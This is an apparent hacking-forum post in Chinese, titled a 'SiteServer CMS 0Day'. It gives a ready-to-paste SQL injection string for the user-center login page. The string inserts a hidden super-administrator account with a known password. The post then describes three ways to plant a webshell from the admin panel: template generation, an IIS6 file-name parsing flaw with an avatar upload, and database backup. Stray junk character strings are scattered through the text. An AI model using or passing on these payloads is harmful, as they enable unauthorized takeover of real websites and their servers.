SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

2 @6 Y1 R- g$ I: k: Z( |6 estieserver官网:www.siteserver.cn



9 f, T* o3 W! W5 s1 QEXP:

7 O) S. g  {: J' t直接访问UserCenter/login.aspx

* V, o0 E& F% b9 }  {8 h% T, q
7 f4 u  p3 B1 h( g& ~' ?) b2 r
% M. |( @5 p3 o, A$ K用户名处输入：

123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
4 B) j5 J$ H+ F/ _


密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
6 w# Z! G8 a) |8 p' p4 s
" B& ~7 s# m6 g2 t8 Y0 d- t4 w

/ s7 K! ~) L. W- e; O" C+ ~; B' k之后再访问后台SiteServer/login.aspx用插入的用户登陆

* M, x% n' _: N* J2 {0 m6 ?% X
& }+ h/ W" ]8 a/ H1 w
) H, J; z+ j* R, G9 X1 P后台拿webshell的三种方法：
* O9 ~- N) W" p7 l* ?
一、

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

, B3 h, X/ v$ C$ q" v. C二、
1 z* `- N) ]0 ]6 n; a% J
6 F, ^+ A  X* c成员权限-》添加用户-》用户名为：1.asp

% K1 ~. o, B5 C! w5 qhttp://127.0.0.1/usercenter/
, P7 O. S9 L' a: Y
$ V$ J3 p) Q! i" q- q用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

（ps：后台添加用户时不会验证是否含有非法字符）

6 Q( x" K' g3 J7 |三、

系统工具-》实用工具-》机器参数查看
; {5 \6 B- ?( D' g可以看到数据库类型、名称，WEB路径

% s2 q3 B( w6 F, `. g& s5 [系统工具-》数据库工具-》SQL语句查询
/ ?7 i# Z0 l& a8 q( l+ a( c这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。